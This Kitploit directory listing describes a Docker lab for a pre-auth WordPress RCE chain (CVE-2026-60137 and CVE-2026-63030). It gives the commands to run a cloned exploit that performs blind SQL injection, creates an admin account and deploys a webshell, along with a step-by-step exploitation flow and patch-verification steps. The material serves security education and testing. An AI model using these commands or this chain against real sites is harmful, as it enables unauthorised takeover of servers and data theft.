Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-60137-and-CVE-2026-63030 — Laboratorio de WordPress basado en Docker que reproduce CVE-2026-60137 y CVE-2026-63030, RCE pre-auth, con un exploit PoC en Python para SQLi, escalada de privilegios y despliegue de webshell. | Kitploit
Herramientas/GitHubGitHub/ivanesk315/cve-2026-60137-and-cve-2026-63030
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubivanesk315/cve-2026-60137-and-cve-2026-63030

CVE-2026-60137-and-CVE-2026-63030

Laboratorio de WordPress basado en Docker que reproduce CVE-2026-60137 y CVE-2026-63030, RCE pre-auth, con un exploit PoC en Python para SQLi, escalada de privilegios y despliegue de webshell.

Ver Repositorio
hace 18h 32mAún no revisado

wp2shell Lab — CVE-2026-60137 & CVE-2026-63030

Laboratorio de RCE Pre-Auth en WordPress Core — explotación real, RCE en el servidor.

ADVERTENCIA: El laboratorio ejecuta WordPress VULNERABLE. No exponer a internet.

Estructura

root@kitploit:~
.
├── docker-compose.yml     # Lab: WordPress 6.9.4 + MariaDB 11 + phpMyAdmin
├── exploit/               # PoC exploit (clone từ GitHub)
│   └── wp2shell.py        # Full RCE exploit
├── REPORT.md              # Báo cáo phân tích root cause
└── README.md

Configuración

1. Iniciar el laboratorio

root@kitploit:~
docker compose up -d

Esperar hasta ver LAB READY en los logs:

root@kitploit:~
docker compose logs -f wpcli

2. Clonar el PoC exploit

root@kitploit:~
git clone https://github.com/0xsha/wp2shell.git exploit

Este exploit:

  • Python 3.7+, no requiere pip install de nada (solo usa stdlib)
  • Crea una nueva cuenta de admin SIN necesidad de crackear la contraseña
  • Despliega un webshell automáticamente
  • Shell interactiva

3. Explotación

root@kitploit:~
cd exploit

# Check vulnerability (non-destructive)
python wp2shell.py check http://localhost:8080

# Extract data qua blind SQLi
python wp2shell.py read http://localhost:8080 --preset users

# RCE — tạo admin + deploy webshell + chạy command
python wp2shell.py shell http://localhost:8080 --cmd id

# Interactive shell
python wp2shell.py shell http://localhost:8080 -i

Servicios

Resumen del flujo de explotación

root@kitploit:~
1. POST /wp-json/batch/v1
   └─ Sub-request[0]: malformed path → parse error
   └─ Sub-request[1]: /wp/v2/posts + author_exclude=<SQLi>
   └─ Sub-request[2]: sacrificial route
   → $matches[] bị lệch index → req[1] nhận handler của req[2]
   → bypass permission_callback → SQLi vào WP_Query

2. SQL Injection (author__not_in)
   → Scalar string bypass is_array() check
   → Raw SQL inject vào WHERE clause

3. Object Hydration → oEmbed Write → Parent Loop Repair
   → Poisoned WP_Post objects persist vào database

4. Changeset Privilege Escalation
   → WordPress switch current_user sang admin

5. Nested REST Request
   → Tạo admin account mới (không cần crack password)

6. Login + Upload webshell plugin → RCE

Verificar el parche

root@kitploit:~
# Update WordPress trong container
docker exec -it wp2shell-lab-wp-1 bash -c \
  "curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && \
   chmod +x wp-cli.phar && \
   ./wp-cli.phar core update --version=6.9.5 --allow-root"

# Re-run exploit — phải fail
python exploit/wp2shell.py check http://localhost:8080

Limpieza

root@kitploit:~
docker compose down -v

Referencias

  • 0xsha/wp2shell — GitHub
  • Picus: wp2shell RCE Explained
  • zsec.uk: Code Trace Deep Dive
  • VulnCheck Blog
  • Tenable FAQ
Descargar herramienta
ServiceURLCredentials
WordPresshttp://localhost:8080admin / Admin!2345
WP Adminhttp://localhost:8080/wp-adminadmin / Admin!2345
phpMyAdminhttp://localhost:8081root / root
REST APIhttp://localhost:8080/wp-json/—
Batch endpointhttp://localhost:8080/wp-json/batch/v1—